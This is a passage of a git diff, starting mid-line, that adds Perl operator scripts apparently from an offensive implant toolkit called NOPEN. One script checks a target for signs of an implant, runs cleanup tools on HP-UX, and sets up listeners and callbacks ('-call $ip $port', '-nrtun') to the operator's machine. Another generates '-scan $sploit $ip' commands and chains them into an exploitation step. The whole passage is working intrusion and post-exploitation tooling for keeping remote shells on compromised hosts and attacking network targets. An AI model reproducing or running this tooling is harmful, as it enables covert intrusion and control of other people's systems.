/drwx.*3d9892354a360245add0f483f269f384/,@elevatedls; + @unelevatedls = grep /drwx.*3d9892354a360245add0f483f269f384/,@unelevatedls; + my $more = ""; + my $morels = "and a 3d9892354a360245add0f483f269f384 directory that is hidden when in /dev,\n" + if (@elevatedls > @unelevatedls); + + if (@elevatedps > @unelevatedps) { + $more = "There are more elevated memlogd processes than unelevated,\n". + $morels. + "so you are on an implanted target."; + } else { + $more = "There is a directory that is hidden when in /dev,\n". + "so you are on an implanted target."; + } + if (!$more) { + mygetinput(".$COLOR_FAILURE\n\n". + "You are on an HPUX target. Above, ls/ps checks were done, before -elevate\n". + "in /dev and and after -elevate not in /dev.\n\n". + "Please take note and hit return continue.\n". + ""); + } else { + progprint(".$COLOR_FAILURE\n\n$more\n\n". + "You are on an HPUX target. Above, ls/ps checks were done, before -elevate\n". + "in /dev and and after -elevate not in /dev.\n\n". + ""); + } + } + my $delay = 5; + if (-e "$opdown/$nopen_rhostname.cup.sleep.pids") { + progprint(".\n\nPrevious copy of cup is still active:\n\n". + $oldcupkills."\nCUP Processes just seen in above =ps\n". + "(complete =ps in $opdown/ps-cupcheck.$nopen_rhostname):\n". + join("",@onceoutput)."\n". + "$prog will continue in $delay seconds.....". + ""); + sleep $delay; + } else { + # We start with a default 3 hour wearcup. You can change it easily enough by re-invoking. + mydo("autowearcup","-w3h"); + } + } elsif ($hpuxtarget and !$dohpuxelevate) { + # Warn about no cup yet + mywarn("\n\n". + "This HPUX target still has no wearcup run because this file exists:\n". + `ls -al $optmp/NOHPUXELEVATE`."\n\n". + "At least one window on $nopen_rhostname must be connected after\n". + "removing that file". + ""); + sleep 10; + } + # endif ($hpuxtarget and $dohpuxelevate) + + # If we're on a router, don't do squat. + if ($routertarget) { + my ($ans) = mygetinput + ("This appears to be a Cisco router. \"autonewdone\" cannot be run on routers safely.\n\n". + $COLOR_FAILURE. + "ONLY CONTINUE HERE IF YOU ARE SURE THIS IS NOT A ROUTER.\n\n". + $COLOR_NORMAL. + "kip autonewdone on this router, or ontinue with autonewdone, (this is not a router).", + "S","C", + ); + if ($ans eq "S") { + myalert("Aborting \"autonewdone\" PERMANENTLY for router $nopen_rhostname."); + $myshow = 0; + system("touch $optmp/autonewdone.$nopen_rhostname"); + } + } + elsif ($myshow) { + # Check for any concurrent runs. + dbg("in autorunonce, checking for concurrent runs"); + my @pids = lookupnopenpids(1, $nopen_rhostname); + foreach my $pid (@pids) { + $myshow = 0 if ( -e "$optmp/autonewdone.INPROGRESS.$pid"); + #dbg("in autorunonce, myshow = =$myshow= show=$show= for pid = =$pid="); + } + } + #dbg("in autorunonce, myshow = =$myshow= show=$show= for pid = =$pid="); +# offerabort("in autorunonce, show=$show= for $nopen_rhostname"); +# offerabort("WTF0"); + + # Check for the keepalive hostvar and set it if needed. + if ($host_keepalive or $gbl_nopenkeepalive) { + my $delay = 180; + $delay = $gbl_nopenkeepalive if ($gbl_nopenkeepalive > 5); + $delay = $host_keepalive if ($host_keepalive > 5); + progprint("Setting keepalives for $delay second intervals\n"); + doit("-keepalive -vv $delay"); + } + + showmenu() if $myshow; + +################################################ +# BEGIN SPECIAL MANUAL FOR REMI OP +################################################ + +#doit("-find /") unless (-f "$opdown/cmdout/$nopen_rhostname-find"); + +#doit("-ls /private/tmp/crond", +# "-rm ../../../../../../private/tmp/crond", +# ); + + +################################################ +# END SPECIAL MANUAL FOR REMI OP +################################################ + + return 1; +}#dorunonce + +sub showmenu { + my $port = myrand() ; + my @choices = ("P","O","A","C","D","X"); + push(@choices,"K") if ($serverver ge "3.2.0.0"); + + my $maindefault = "P"; + my @callbackchoices = ("P","O","A","R","C"); + my $callbackdefault = "P"; + + my $doextra = ""; + + my ($shortextra,$shortextra2,$linuxextra) = (); + + MAIN: + while (1) { + if ($junostarget) { + $doextra = ".junos"; + } + else { + $shortextra = "\n S) NOPEN will not callback--run the \"short\" version of autonewdone."; + $shortextra2 = + "\n NOTE: Only run the \"short\" version of autonewdone when you are allowed to\n". + " do so. DON'T run it every time you get onto this host!\n"; + push(@choices,"S"); + } + + my ($porkextra,$porkextra2) =(); + my $pschain = `pschain $nopen_mypid`; + my $porkused = $pschain =~ /noclient -i \d+/; + my $porktarget = $nopen_myip; + if ($pschain =~ /\.\/porkclient.*-\i\s(\S+).*/) { + $porktarget = $1; + } + if ($porkused and !(-e "$optmp/Porklisten.$nopen_rhostname")) { + dbg("in autorunonce, porkused = =$porkused=, porktarget = =$porktarget="); + @choices = ("L",@choices); + $porkextra = "\n L) Start a NOPEN listener, then run autonewdone$doextra."; + $porkextra2= "$COLOR_FAILURE\n". + "NOTE\a: You got here with PORK so this is your one and only possible window\n". + "thus far, and has no listener yet.$COLOR_NORMAL To get a second window you must\n". + "either start a listener or do a callback (if your target permits it).\n\n". + "The default will start a listener on a random port: noclient $porktarget:$port\n"; + $porkextra2 .= " -nstun $porktarget:$port\n\n" + unless ($porktarget =~ /127.0.0.1/); + } + for my $str ("FORCE", + "-f", + "-F", + "-FORCE", + ) { + if (-f "$optmp/autonewdone.$nopen_rhostname.$str" or + -f "$optmp/autonewdone.ALL.$str") { + unlink("$optmp/autonewdone.$nopen_rhostname.$str"); + $autoforce = "FORCE"; + } + } + if ($autoyes or $autoforce or + $gbl_nopromptsplease or $host_nopromptsplease or + -f "$optmp/autonewdone.$nopen_rhostname.YES" or + -f "$optmp/autonewdone.ALL.YES" + ) { + $startnewdone=1; + unlink("$optmp/autonewdone.$nopen_rhostname.FORCE"); + $ans = "p"; + } else { + if ($autoyes) { + $ans = lc $maindefault; + } else { + my $kmore = "\n K) Configure a keepalive interval for this and future NOPEN sessions for this target." if ($serverver ge "3.2.0.0"); + ($ans,$longans) = mygetinput + (`ls -alrt $optmp/autonewdone.$nopen_rhostname* 2>/dev/null`. + "${COLOR_FAILURE} +autorunonce v.$VER autoyes=$autoyes= autoforce=$autoforce= autoreget=$autoreget= autoshort=$autoshort= + +Ready to run \"autonewdone$doextra\" commands. This could take a while to run.\a$COLOR_NORMAL + +Choices: +$porkextra + P) Proceed--NOPEN will not callback and this window will be busy for a while.$shortextra + O) Use the OTHER/new autonewdone.main$doextra instead. + C) Have NOPEN callback to give you another window, then run autonewdone. + A) Abort autonewdone$doextra for this window/session. + D) Abort autonewdone$doextra PERMANENTLY for every NOPEN window on this host.$kmore + X) Secondary menu options, sets platform sub-variables then returns here. + + NOTE: Only choose \"D\" if you know this host has already been done (perhaps + under a different IP?), or you DO NOT WANT it done, AND DO NOT want it + done later. AND, you'd better have a REALLY good reason... +$shortextra2 +$porkextra2 +Choose from above:",$maindefault,@choices); + } + } + if ($ans eq "x") { + if ($linuxtarget) { + ($ans,$longans) = mygetinput("${COLOR_FAILURE} +autorunonce Secondary Menu for remote end: $nopen_serverinfo + +Choose one, after which you will be sent to the previous menu: + + F) Switch to Fortigate firewall (Linux) mode + S) Switch to Some-other firewall (Linux) mode + D) Do nothing (return to previous menu) + +Choose from above:","D","F","S",); + if ($ans eq "d") { + $doextra = ".linux-fw-fortigate"; + } elsif ($ans eq "F") { + $doextra = ".linux-fw-someother"; + } + next MAIN; + } else { + progprint("$COLOR_FAILURE\n\n". + "There are no eXtra menu options for $nopen_serverinfo..."); + sleep 2; + next MAIN; + } + } elsif ($ans eq "k") { + my ($interval) = $longans =~ /(\d+)/; + (undef,$interval) = + mygetinput("Enter a keepalive interval for this and future NOPEN sessions". + "on this target (in seconds):","-A",$interval) + unless ($interval > 0); + if ($interval > 0 and $interval <= 600) { + my ($output) = doit("-keepalive $interval"); + # Save this to a hostvar for later use. + newhostvar("host_keepalive",$interval) + if ($output and $output !~ /No such builtin/); + } else { + mywarn("Ignoring invalid interval: $interval, must be between 1 and 600 seconds"); + sleep 2; + } + next MAIN; + } elsif ($ans eq "l") { + (undef,$port) = mygetinput("Choose a port to listen on:",$port); + #dbg("in autorunonce, PORK listen port = =$port=?"); + doit("-listen $port") if (!($port eq 0) or !($port > 65535)); + # For now we write to .new file. The mv below makes the next sessioninit + # see and try to confirm this port. + if (open(DIDTHIS,"> $optmp/Porklisten.$nopen_rhostname.new")) { + print DIDTHIS $port ; + doit("-lsh -nohist mv $optmp/Porklisten.$nopen_rhostname.new $optmp/Porklisten.$nopen_rhostname"); + } + close(DIDTHIS); + if (open(DIDTHIS,"+< $opdown/didthis")) { + my ($toip,$fromwhere) = (); + while () { + next if $_ eq "\n"; + ($fromwhere,$toip) = /From (.+) to (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + } + my $how = "noclient"; + $how = "-nstun" if ($fromwhere ne "command line"); + print DIDTHIS "# PORK session so autorunonce v$VER started listener at $port per user\n"; + print DIDTHIS "$how $nopen_myip:$port\n\n"; + close(DIDTHIS); + } + + offerabort("NOPEN listener was started at port $port. Proceed with autonewdone?"); + $startnewdone=1; + } elsif ($ans eq "c") { + RETRY: my $dofirst = ""; + chomp($didthis = `grep noclient.*$nopen_myip $opdown/didthis 2>/dev/null | grep -v "^#"`) ; + my $defip = $local_ip if $didthis ; + unless ($didthis) { + $defip = "A"; + } + my $looped=0; + while (1) { + progprint("Invalid IP",$COLOR_FAILURE) if $looped ; + (undef,$ip) = mygetinput("To what IP (or Abort)?",$defip); + last if ($ip =~ /^a/i) ; + $looped++ ; + #dbg("in autorunonce, ip =$ip=, looped = =$looped="); + last if (ipcheck($ip)) ; + } + my ($noclientline,$atip) = () ; + unless ($ip =~ /a/i) { + (undef,$port) = mygetinput("To what port?",$port); + #dbg("in autorunonce, port = =$port=?"); + $dofirst = "-call $ip $port" ; + if ($ip eq $local_ip) { + $noclientline = "noclient -l $port\n\n" ; + } else { + $noclientline = "-nrtun $port\n\n" ; + $atip = " (at correct IP: $ip)" ; + } + } + + while(1) { + my $myans = ""; + offerabort("${noclientline}Get that listener started$atip and press Enter when ready."); + + doit($dofirst); + unless ($autoyes) { + ($myans,$longans) = mygetinput("${COLOR_FAILURE} +Callback initiated. Proceed with autonewdone$doextra?\a$COLOR_NORMAL + +Choices: + P) Proceed with autonewdone$doextra in this window. + O) Use the OTHER/new autonewdone.main$doextra instead. + A) Abort (either your callback failed, or you changed your mind). + R) Retry (you messed up your arguments, perhaps?) + C) Continue to a NOPEN prompt; don't run autonewdone$doextra in this window. + +Choose from above:",$callbackdefault,@callbackchoices); + } else { + $myans = lc $callbackdefault; + } + if ($myans =~ /^p/i) { + $ans = $myans; + progprint("${COLOR_FAILURE}PROCEEDING${COLOR_NORMAL} with autonewdone$doextra"); + $startnewdone=1; + #dbg("in autorunonce, startnewdone = =$startnewdone="); + # Verify that the callback succeeded. + # FIXME: this code needs to exist... + last; + } + elsif ($myans =~ /^o/i) { + $ans = $myans; + progprint("${COLOR_FAILURE}PROCEEDING${COLOR_NORMAL} with autonewdone.main$doextra"); + $altstartnewdone=1; + #dbg("in autorunonce, altstartnewdone = =$altstartnewdone="); + last; + } + elsif ($myans =~ /^r/i) { + $retrycb = 1; + #dbg("in autorunonce, retrycb = =$retrycb="); + } + else { + $startnewdone=0; + $retrycb = 0; + #dbg("in autorunonce, startnewdone = =$startnewdone= with ans = =$ans="); + last; + } + + if ($retrycb) { + #dbg("in autorunonce, returning to cb start,retrycb = =$retrycb="); + last; + } + } #while + if ($retrycb) { + $retrycb = 0; + goto RETRY; + } + } #elsif ($ans =~ /^c/i) + + if ($ans =~ /^[ad]/i) { + my $more = "" ; + if ($ans =~ /^d/i) { + $more = " PERMANENTLY for $nopen_rhostname!" ; + system("touch $optmp/autonewdone.$nopen_rhostname"); + } + progprint("ABORTING autonewdone$doextra$more",$COLOR_FAILURE); + $startnewdone=0; + } + elsif ($ans =~ /^p/i) { + $startnewdone=1; + } + elsif ($ans =~ /^o/i) { + progprint("${COLOR_FAILURE}PROCEEDING${COLOR_NORMAL} with autonewdone.main$doextra"); + $altstartnewdone=1; + #dbg("in autorunonce, altstartnewdone = =$altstartnewdone="); + } + elsif ($ans =~ /^s/i) { + $autoshort = "MENU"; + } + + push(@autoargv,$autoreget) + if ($autoreget); + + push(@autoargv,$autoforce) + if ($autoforce); + + push(@autoargv,$autoyes) + if ($autoyes); + + push(@autoargv,"TODAY") + if ($today); + + push(@autoargv,"THISMONTH") + if ($thismonth); + + if ($autoshort) { + # Run the "short" version of autonewdone. + mydo("autonewdone$doextra.short",@autoargv); + } elsif ($altstartnewdone) { + # Run the desired autonewdone now + mydo("autonewdone.main$doextra",@autoargv); + } elsif ($startnewdone) { + # Run the desired autonewdone now + mydo("autonewdone$doextra",@autoargv); + } + last; + } + return 1; +}#showmenu + +sub logtrigger { + my $oldtrigger = $host_trigger{$nopen_myip}; + my $latesttrigger = $gbl_trigger; + my ($default,$ans,$which) = (); + my @choices = (); + @choices = ($latesttrigger) + if ($latesttrigger and ! $host_notmytrigger{$latesttrigger}); + @choices = ($gbl_trigger{$nopen_myip}) + if $gbl_trigger{$nopen_myip}; + foreach my $trigger (values %gbl_trigger) { + push(@choices,$trigger) + unless ($host_notmytrigger{$trigger}); + } + # Nothing to log? Just return + return unless @choices; + @choices = uniqify_array(@choices); + # Same as previous log? Just return + if ($host_trigger{$nopen_myip} and + $host_trigger{$nopen_myip} eq $choices[0]) { + # We clear these for the next guy + newhostvar("gbl_trigger","CLEARALLMATCHING"); + return; + } + # ASSERT: We have one or more new triggers to maybe log + if ($host_trigger{$nopen_myip}) { + my ($prompt1,@answers) = (""); + # Different this time? Gotta prompt + @choices = uniqify_array(@choices,$host_trigger{$nopen_myip}); + my %triggernums = (); + for ($i = 0; $i < @choices; $i++) { + $triggernums{$choices[$i]} = $i+1; + } + my $i = 1; + while ($i <= @choices) { + if ($choices[$i-1]) { + push(@answers,$i); + $prompt1 .= sprintf("%5s: %s\n",$i,$choices[$i-1]); + } + $i++; + } + $prompt1 .= " NONE: None of the above\n"; + $default = "NONE"; + if ($choices[0] =~ /\s$nopen_myip($|\s)/) { + $default = "1"; + } + # Preference given toward non-ourtn triggers--pitches are the exception. + if (($default eq "NONE" or $choices[0] =~ /ourtn/) and + $choices[1] =~ /\s$nopen_myip($|\s)/) { + $default = "2"; + } + ($ans,$longans) = mygetinput + ( + "The host you are on, $nopen_rhostname, was\n". + "previously logged as using trigger #$triggernums{$host_trigger{$nopen_myip}} below, ". + "which is$COLOR_FAILURE DIFFERENT$COLOR_NORMAL than the\n". + "other one(s) below, which was used recently (perhaps to another target).\n\n". + $prompt1."\n\n". + "Which is the right trigger to log for this host ($nopen_myip), or is\n". + "NONE of these correct?",$default,@answers,"NONE", + ); + if ($ans eq "n") { + newhostvar("host_trigger{$nopen_myip}",""); + foreach my $trigger (@choices) { + next unless (length $trigger); + newhostvar("host_notmytrigger{$trigger}",1); + } + } elsif (length $choices[$ans-1]) { + newhostvar("host_trigger{$nopen_myip}",$choices[$ans-1]); + foreach my $trigger (@choices) { + next unless (length $trigger); + next if ($trigger eq $choices[$ans-1]); + next if ($trigger =~ /\s$nopen_myip($|\s)/); + newhostvar("host_notmytrigger{$trigger}",1); + } + } + } else { + # No previous trigger for this guy, log our first/only choice + $ans = "y"; + unless ($choices[0] =~ /\s$nopen_myip($|\s)/) { + ($ans) = mygetinput + ( + "The host you are on, $nopen_rhostname, does\n". + "not yet have any trigger associated with it.\n\n". + "The trigger below was used recently but does$COLOR_FAILURE NOT$COLOR_NORMAL contain this host's IP:\n\n". + " $choices[0]\n\n". + "Is this the correct trigger for this host ($nopen_myip)?","N" + ); + newhostvar("host_notmytrigger{$choices[0]}",1); + } + newhostvar("host_trigger{$nopen_myip}",$choices[0]) if ($ans eq "y"); + } + newhostvar("gbl_trigger","CLEARALLMATCHING") + if ($ans ne "n" and $host_trigger{$nopen_myip} eq $gbl_trigger); +} + +sub dospecial { + local ($dowhat) = (@_); + $dowhat = $ENV{"$dowhat"} + if $ENV{"$dowhat"}; + my $dofile = "$opdown/special.$dowhat.cfg"; + my ($gsfile,$autofile) = + ("$opetc/gs.$dowhat", + "$opetc/auto$dowhat" + ); + + foreach ($gsfile,$autofile,"$opdown/special.$dowhat.cfg") { + next unless -f $_; + `dos2unix $f 2>&1`; + } + # $dowhat may be IP specific, return if not ours + my ($doip) = $dowhat =~ /[\.,_](\d{1,3}[\.,_]\d{1,3}[\.,_]\d{1,3}[\.,_]\d{1,3})/; + ($doip) = $dofile =~ /[\.,_](\d{1,3}[\.,_]\d{1,3}[\.,_]\d{1,3}[\.,_]\d{1,3})/ + unless ($doip); + ($doip) = $ENV{$dowhat} =~ /[\.,_](\d{1,3}[\.,_]\d{1,3}[\.,_]\d{1,3}[\.,_]\d{1,3})/ + unless ($doip); + $doip =~ s/[_,]/./g; +dbg("doip=$doip= dowhat=$dowhat"); + if ($doip and (!$nopen_myip eq $doip)) { +dbg("RETURNING since no match: nopen_myip=$nopen_myip= and doip=$doip="); + return; + } + + # ASSERT: In SPECIAL mode with config file $dofile + # Ideas for config file syntax: + # Line that indicates stay in loop, run once every ## seconds: LOOP=N + # Line that indicates host to run as + my ($dodir,$doname) = (dirname($dofile), + basename($dofile)); + my (%doitcommands,%mydoargs,@doitlast) = (); + my ($repeatcount,$content) = (1,"#LINE(CMDCOUNT):CMD\n"); + my ($gotinfinite, + $gotburn, + $repeatall, + $sleepbetween, + $stopfile, + ) = (); +dbg("dofile=$dofile="); + if (open(SPECIALIN,$dofile)) { + $linenum = 1; + while (my $thisline = ) { + $thisline =~ s,[\r\n]*$,,g; + $thisline =~ s/^\s*//; + if (my ($c,$sign,$cmd) = $thisline =~ + /^NOPEN_DO( (-){0,1}\d+){0,1}\s*:\s*(.*)/) { + if ($gotinfinite or $gotburn) { + mydie("BAD SPECIAL config.\n\n". + "Any -exit, \\-burnBURN or infinitely run command must be the last one."); + } + $gotinfinite++ if $sign; + my $count = int($c); + $count = 1 unless (length $c); + dbg("LINEPARSE: c=$c= sign=$sign= cmd=$cmd= gotinfinite=$gotinfinite= count=$count="); + my ($cmdname,$cmdargs) = $cmd =~ m/^(\S+)\s*(.*)/; + my $oldcmd = $cmd; + if ($cmd =~ s,^-gs\s+,,) { + ($cmdname,$cmdargs) = $cmd =~ m/^(\S+)\s*(.*)/; + $cmdname = "-gs $cmdname"; + #offerabort + dbg("CHANGED from oldcmd=$oldcmd= to cmd=$cmd= NOW HAVE cmdname=$cmdname= cmdargs=$cmdargs="); + } + if ($mydocommands{$cmdname} or $specialcommands{$cmdname}) { + $cmd = "mydo($mydocommands{$cmdname},$cmdargs)"; + $mydoargs{$linenum} = $cmdargs; + if ($specialcommands{$cmdname}) { + if ($cmdname =~ /lss/) { + $cmd = "nopenlss($cmdargs)"; + #offerabort + dbg("DBG: Got lss +cmd=$cmd= +cmdname=$cmdname= +cmdargs=$cmdargs= +thisline=$thisline= +"); + } + } else { + #offerabort + dbg("DBG Got a mydo: cmd=$cmd= cmdname=$cmdname= cmdargs=$cmdargs= gs=$gs="); + } + } else { + #offerabort + dbg("DBG: NO mydo here: $thisline cmdname=$cmdname= cmd=$cmd= gs=$gs= count=$count= sign=$sign="); + + } + $content .= sprintf("\#%03d(%04d):$thisline\n",$linenum,$count); + if ($cmd eq "\\-burnBURN" or $cmd eq "-exit") { + $gotburn++; + push(@doitlast,$cmd); + } else { + $doitcommands{$linenum} = $cmd; + $doitcount{$linenum} = $count; + } + } elsif ($thisline =~ /^\s*SLEEP:\s*(\d+)/) { + $sleepbetween = int($1) if (int($1) > 0); + $content .= sprintf("\#%03d(NOOP):$thisline\n",$linenum); + } elsif ($thisline =~ /^\s*REPEAT\s*\d*:\s*YES/) { + ($repeatall,$which) = + $thisline =~ /^\s*REPEAT(\s*\d+){0,1}\s*:\s*(\S+)/; + $repeatall = -1 unless $repeatall; + $content .= sprintf("\#%03d(NOOP):$thisline\n",$linenum); + } elsif ($thisline =~ m,^\s*STOPFILE:\s*(\S+),) { + $stopfile = $1; + $stopfile = "$optmp/STOPFILE.$stopfile" unless ($stopfile =~ m,^/,); + $content .= sprintf("\#%03d(NOOP):$thisline\n",$linenum); + if (-f $stopfile) { + offerabort("STOPFILE $stopfile already exists, it will be wiped unless you abort"); + unlink($stopfile); + } + } else { + $content .= sprintf("\#%03d(NOOP):$thisline\n",$linenum); + } + $linenum++; + } + close(SPECIALIN); + if (($gotinfinite or $gotburn) and $repeatall < 0) { + mydie("BAD SPECIAL config.\n\n". + "Cannot use REPEAT: YES with -exit, \\-burnBURN or any infinitely run command."); + } + progprint($COLOR_FAILURE. + "\n\nSHIFTING into SPECIAL mode $dowhat:\n$COLOR_NORMAL\n". + "cd $dodir ; ls -al $doname\n". + `cd $dodir ; ls -al $doname`. + "\n$doname\n=============\n". + $content + ); + REPEATALL: + foreach my $cmdnum (sort by_num keys %doitcommands) { + my $repeatcount = $doitcount{$cmdnum}; + my $args = $mydoargs{$cmdnum}; + my (@cmdargs) = split(/\s/,$args); + while ($repeatcount and $repeatcount--) { + $repeatcount = -1 if ($repeatcount < 0); + dbg(" inside: mydoargs{$cmdnum}=$mydoargs{$cmdnum}= repeatcount=$repeatcount="); + if (my ($mydocmd) = $doitcommands{$cmdnum} =~ /mydo.([^,]+),/) { + mydo($mydocmd,@cmdargs); + } elsif ($doitcommands{$cmdnum} =~ /^nopenlss/) { + nopenlss(@cmdargs); + } else { + doit($doitcommands{$cmdnum}); + } + } + # doit("w"); + } + $repeatall = -1 if ($repeatall < 0); + + dbg("REPEATALL or not: repeatall=$repeatall= cmdcount=".scalar(keys %doitcommands)."="); + + if ($repeatall-- and keys %doitcommands > 0) { + if ($sleepbetween) { + my $sleepcount = 0; + while($sleepcount++ < $sleepbetween) { + sleep 1; +# dbg("Looking for $stopfile for $sleepcount". +# `ls -al $stopfile`); + if ($stopfile and -f $stopfile) { + goto DROPOUT; + } + } + } + goto REPEATALL unless $repeatall == 0; # last one we skip to get numbers right + } + + DROPOUT: + if ($stopfile and -f $stopfile) { + # TODO: Consider unlink($stopfile); here + progprint("STOPFILE: $stopfile exists, stopping now."); + } + doit($doitlast[0]) if (@doitlast); + } + if (-s $gsfile and -s $autofile) { + my @ARGS=(); + if (-s "$gsfile.args") { + if (open(SPECIALIN,"$gsfile.args")) { + while () { + chomp; + next if /^\s*\#/; + push(@ARGS,$_); + } + } + } + mydo($autofile,@ARGS); + return; + } elsif (! -s $dofile) { + return; + } + +}#dospecial + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog ($ENV{$GSOPTIONS} called -gs runonce @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs runonce"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + $local_ip = "" ; + foreach $int (ppp0,ppp1,eth0,eth1) { + chomp($ip=`ifconfig $int 2>/dev/null | grepip | egrep -v "255|127\.0" | head -1`) ; + last if $ip ; + } + $local_ip=$ip ; + $gsoptions = $ENV{GSOPTIONS} ; + + # Some things to do exactly once this op per host + `mkdir -p $opdown/$nopen_rhostname 2> /dev/null` + unless ((-d "$opdown/$nopen_rhostname") or ($nopen_rhostname =~ /(^localhost\.localdomain\.127.*|.*127\.0\.0\.1$)/)); + `mkdir -p $opsniff 2>/dev/null` unless (-d "$opsniff"); + `mkdir -p $opmail/notours 2>/dev/null` unless (-d "$opmail/notours"); + `mkdir -p $opmail/nogood 2>/dev/null` unless (-d "$opmail/nogood"); + `mkdir -p $optargetcommands 2>/dev/null` unless (-d $optargetcommands); + `mkdir -p $opscreencaps 2>/dev/null` unless (-d $opscreencaps); + `mkdir -p $opdown/ROUTER/$nopen_rhostname 2>/dev/null` + if ($gbl_routerhost{$nopen_myip} and + !(-d "$opdown/ROUTER/$nopen_rhostname")); + + foreach my $arg (@ARGV) { + $dohelp = $arg if ($arg =~ /(HELP|-h)/i); + $nopenlssreget = "r" + if ($arg =~ /reget/i); + push(@autoargv,$arg) + if ($arg =~ /new/i); + $showmenu = $arg + if ($arg =~ /menu/i); + } + + $showmenu = "@ARGV" eq "menu"; + if ($dohelp) { + progprint + ("$COLOR_NORMAL\n". + "Usage: autorunonce is called automatically by NOPEN.\n\n". + "Every new NOPEN session performs a -gs auto automatically. The content\n". + "of, and in particular the comments in, the following files may also prove\n". + "useful:\n". + " ./etc/norc*\n". + " ./etc/gs.auto\n". + " ./etc/autorunonce\n". + # " ./etc/\n". + "\n". + "The -gs auto starts a chain of events:\n\n". + #" o ./etc/nopennamefix is called. This adjusts the NOPEN_RHOSTNAME\n". + #" variable in case the remote hostname includes whitespace or special\n". + #" characters. It is also what creates each NOPEN host's sniffer and\n". + #" history directories.\n". + " o ./etc/autocheck is called, and, if it exits without error, then\n". + " autorunonce is then called. autocheck is no longer needed (autodone\n". + " used to use it), but it need not be removed here.\n". + "\n". + "autorunonce then performs several functions:\n\n". + #" o local_firewall(\$nopen_autoport), which adds a local iptables\n". + #" rule to ensure no remote hosts can connect to this NOPEN window's\n". + #" command and control port.\n". + " o autoscriptcheck ensures this NOPEN window is run within a scripted\n". + " window, and recommends you immediately -exit if it is not.\n". + " o autosessioninit, which is responsible for printing the didthis-style\n". + " listing of all currently active NOPEN sessions and initializing the\n". + " NOPEN session by reading and executing any target-specific norc files.\n". + " o logtrigger then logs this target's most recent successful ourtn/-irtun\n". + " trigger, if any, prompting you for which one is accurate if more than\n". + " one trigger is found.\n". + " o dorunonce calls the familiar interactive autonewdone menu asking if you\n". + " are ready to proceed with the autonewdone commands.\n". + " o dospecial is called. If the proper environment variable and/or files\n". + " exist, it automatically starts a target specific task, or several such\n". + " tasks, each in its own NOPEN window. (See -gs dospecial -h for more.)\n". + " o \n". + "\n". + "To redo autonewdone, use or combine these options after \"-gs auto\"\n". + "(case insensitive):\n\n". + " -f or FORCE (skips the menu, starts immediately, no repeat -gets)\n". + " REGET (repeats autonewdone, including any -gets)\n". + " SHORT (repeats shorter version of autonewdone)\n". + "\n$prog $VER" + ); + exit; + } + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless ($socket or $dohelp); + ($autoforce,$autoyes,$autoreget,$autoshort,$autonohostinfo) = (); + ($redo,$thismonth,$today,$thismonthfiles,$todayfiles) = whendo("autonewdone"); + $nopenlssreget = "r" if $autoreget; + +#offerabort("in autorunonce, whendo(autonewdone) returned: +#(\$redo,\$thismonth,\$today,\$thismonthfiles,\$todayfiles) +# ($redo,$thismonth,$today,$thismonthfiles,$todayfiles) + +#"); + + unlink("$optmp/autonewdone.$nopen_rhostname") + if ($autoforce); + +}#myinit + diff --git a/Linux/etc/autoscans b/Linux/etc/autoscans new file mode 100755 index 0000000..69e4560 --- /dev/null +++ b/Linux/etc/autoscans @@ -0,0 +1,224 @@ +#!/usr/bin/env perl +## +$VER="1.3" ; +# nopen seems happier with stderr in lsh runs +# or does it? Took it out now... +#select STDERR ; +$| = 1 ; +myinit() ; +foreach (@ARGV) { + # quietly throw away any args not IPs + push(@scanips,$_) if ipcheck($_) ; +} +if (!@scanips) { + if (@broadcasts) { + $prompt = "Enter any additional address(es) or broadcast(s) to scan, whitespace delimited, +bort, or just hit return to continue:" ; + $it = "it" ; + if (@broadcasts > 1) { + $es = "es" ; + $it = "them" ; + } + progprint("Found broadcast address$es for $nopen_rhostname:\n\n@broadcasts\n\n +Will be issuing following scans on $it: @doscans\n\n"); + } else { + $prompt = "Enter the address(es) or broadcast(s) to scan (with @doscans), +whitespace delimited, or just hit return to exit:" + } + if ($_ = getinput($prompt)) { + mydie("Aborting") if (/^a/i) ; + foreach (split) { + push(@broadcasts,$_) if ipcheck($_) ; + } + } +} +if (@scanips) { + my $s = "s\n" if (@broadcasts > 1) ; + $ans = getinput("Scanning @scanips already.\n". + "Do you also want to scan broadcast$s (@broadcasts)?","N") ; + @broadcasts = () unless ($ans =~ /^y/i) ; +} +foreach $ip (@scanips) { + foreach $sploit (@doscans) { + $doscans .= "-scan $sploit $ip one\n" ; + } +} +foreach $ip (@broadcasts) { + foreach $sploit (@doscans) { + $doscans .= "-scan $sploit $ip\n" ; + } +} +if ($doscans) { + progprint("\nWriting scan script with:\n$doscans\n") ; + if (open (OUT,">> $opetc/nopen_auto.$nopen_mypid.$ext")) { +# print OUT ("#NOGS\n-lsh mv $opetc/nopen_auto.$nopen_mypid $opetc/nopen_auto.$nopen_mypid.last\n") ; + print OUT ("#NOGS\n") ; + print OUT $doscans ; + foreach (@scanips) { + my $more .= " $_" unless $broadcasts{$_} ; + } + unless ($calledfromautosploit) { + $ans2 = getinput("Then proceed with -gs sploit${more}?","N") ; + if ($ans2 =~ /^y/i) { + print OUT "-gs sploit @scanips\n" ; + progprint("\nAdding sploit after scans with: -gs sploit @scanips\n") ; + } + } else { + progprint("\nAdding sploit after scans with: -gs sploit @scanips FROMAUTOSCANS\n") ; + print OUT "-gs sploit @scanips FROMAUTOSCANS\n" ; + } + close(OUT) ; + rename("$opetc/nopen_auto.$nopen_mypid.$ext","$opetc/nopen_auto.$nopen_mypid"); + } else { + mydie("Could not write to $opetc/nopen_auto.$nopen_mypid.$ext"); + } + exit ; +}#if ($doscans) +#ENDMAIN +sub mywarn { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_WARNING unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; + warn "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n" ; +# warn "\n${COLOR_WARNING}\a@_$COLOR_NORMAL\n" ; +}#mywarn + +sub mydie { + 